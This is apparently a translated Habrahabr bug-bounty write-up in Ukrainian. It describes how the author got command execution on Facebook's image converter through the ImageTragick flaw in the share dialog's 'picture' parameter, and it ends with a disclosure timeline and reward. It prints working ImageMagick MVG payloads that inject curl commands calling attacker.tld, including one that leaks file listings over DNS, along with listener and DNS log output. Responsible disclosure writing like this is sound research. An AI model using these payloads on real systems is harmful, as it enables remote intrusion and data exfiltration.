Трагикартинки Фейсбуку

Всім привіт! Так, це я 2 роки 11 місяців 6 днів назад обіцяв розповісти про нові уразливості. Але з часом стало зрозуміло, що, або вони не цікаві, або розповідати про них довелося б з допомогою скріншотів більше схожих на розсекречені документи спецслужб — пара безглуздих слів і купа чорних прямокутників. Але — час настав.

Я впевнений, що всі ви чули про ImageMagick його «Трагедію». Ця уразливість була знайдена в кінці квітня 2016 року і в наслідок того, що багато плагіни, які обробляють зображення, використовували бібліотеку ImageMagick, дана проблема охоплювала велику кількість систем. Так як були свідчення про те, що інформація про уразливості була доступна не тільки дослідникам, які її виявили, і розробникам ImageMagick'а, але й третім особам, 3 травня 2016 року інформація про уразливості (без PoC) була розкрита для всього світу. Багато дослідники скористалися цією інформацією і знайшли уразливості в програмах, які не були поновлені вчасно. На жаль, я не був серед цих щасливчиків. Але це було в травні:)

Одного разу в суботу, за вікном був пітерський жовтень, я тестував один великий сервіс — не Facebook. Але один з редиректів привів мене на нього — це був діалог «Поділитися на Facebook»:

image

https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H

Цей діалог могли бачити багато з вас. Якщо ми придивимося, можна побачити, що параметр `picture` є посиланням на зображення. Але такого зображення немає у змісті сторінки. Наприклад:

https://www.google.com/images/errors/robot.png

https://www.google.com/images/errors/robot.png

Перетворюється на щось таке:

https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb

https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb

Перше, про що я подумав, що це про SSRF-уразливості в тому чи іншому вигляді. Але тести показали, що урл з цього параметра запитується з вкладеної сітки 31.13.97.* з юзерагентом facebookexternalhit/1.1. Наприклад:

$ nc -lvvv 8088
Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted
GET /exploit.png?ddfadsvdbv HTTP/1.1
User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Accept: */*
Accept-Encoding: deflate, gzip
Host: attacker.tld
Connection: keep-alive

І все це схоже на нормальний запит з ізольованою вкладеної сітки, яка спеціально для цього призначена.

Але в будь-якому випадку програма виробляє перетворення зображень якимось конвертером і я став копати в цьому напрямку. Після кількох тестів (один з моїх улюблених, який приніс мені багато грошей — парсинг і перетворення SVG картинок, які насправді XML файли, щоб отримати SSRF з сервера, який виробляє конвертацію, і який далеко не завжди такий же, як північ з якого було запитано зображення або, якщо мені зовсім пощастило, отримати XXE) я був дуже засмучений. Ні один з них не спрацював.

ImageTragick був останньою надією. Хоча у мене вже надії не було. Якщо ви не дуже знайомі з подробицями уразливості і її експлуатацією чи ліниві — тут ви можете знайти готові PoC.

Ось так виглядає найпростіший пэйлоад exploit.png:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`
pop graphic-context
Барабанний дріб… і нічого не сталося:

$ nc -lvvv 80

Facepalm і Okay.

— Але що якщо… якщо це всього лише обмеження firewall'а? — запитав я сам себе.

Ок. Це дійсно трапляється досить часто, коли компанія блокує звичайні http-запити, але не блокує запити DNS. Що ж, спробуємо інший пэйлоад:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`
pop graphic-context
Треба мати на увазі, що в даному випадку атакуючий використовує DNS сервер, який пише логи запитів до нього. І в результаті отримуємо:
IP: 31.13.*.*; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A
Whois IP говорить нам:
netname: LLA1-11
descr: Facebook
Вечірка починається :) Таким чином програма працює наступним чином:

  • Отримує параметр `picture` і запитує його — це коректний запит і в ньому вразливостей немає
  • Отримана картинка передається конвертера, який використовував вразливу версію бібліотеки ImageMagick
Буду чесний, я намагався знайти звичайний шлях експлуатації цього http-запиту, але швидкі тести показали, що, або всі вихідні порти закриті, або я б витратив занадто багато часу для того, щоб знайти хоча б один відкритий. І я пішов іншим шляхом, якого було достатньо для підтвердження експлуатації.

Пэйлоад:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`
pop graphic-context
Результат:
NAME: home.attacker.tld, Type: A
NAME: boot.attacker.tld, Type: 28
NAME: dev.attacker.tld, Type: 28
NAME: bin.attacker.tld, Type: A
...
...
І так далі…

Команда bash `id` повернула:
NAME: uid=99(nobody).attacker.tld., Type: 28
NAME: groups=99(nobody).attacker.tld., Type: A
NAME: gid=99(nobody).attacker.tld., Type: A
Для підтвердження того, що експлоїт працює, я відправив команді безпеки Facebook висновок команди `cat /proc/version`, який не буду показувати тут.

Відповідно до Політикою Відповідального Поширення Фейсбуку глибше я вже не копав.

Вже після того, як я відправив репорт, ми з Нілом з команди безпеки facebook'а обговорили, що висновок `cat /proc/version | base64` міг би бути набагато більш зручний для запиту DNS, а більш глибоке дослідження показало, що в техніках DNS тунелювання зазвичай використовується base32 (детальніше тут: https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152).

Я радий бути одним з тих, хто зламав Facebook.

Ось і все:)

Timeline:
16 Oct 2016, 03:31 am: Перший репорт
18 Oct 2016, 05:35 pm: Ніл з команди безпеки запросив PoC, який я використовував під час дослідження
18 Oct 2016, 08:40 pm: Я послав PoC і супроводив його додатковою інформацією
18 Oct 2016, 10:31 pm: Вразливість підтверджена Нілом
19 Oct 2016, 12:26 am: Ніл повідомив, що фікс в процесі викладення
19 Oct 2016, 02:28 am: Ніл повідомив, що уразливість виправлена
19 Oct 2016, 07:49 am: Я підтвердив, що уразливість виправлена і запросив процедуру розкриття
22 Oct 2016, 03:34 am: Ніл відповів про процедуру та часу розкриття
28 Oct 2016, 03:04 pm: Призначено винагороду ($40K)
16 Dec 2016: Розкриття дозволено.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.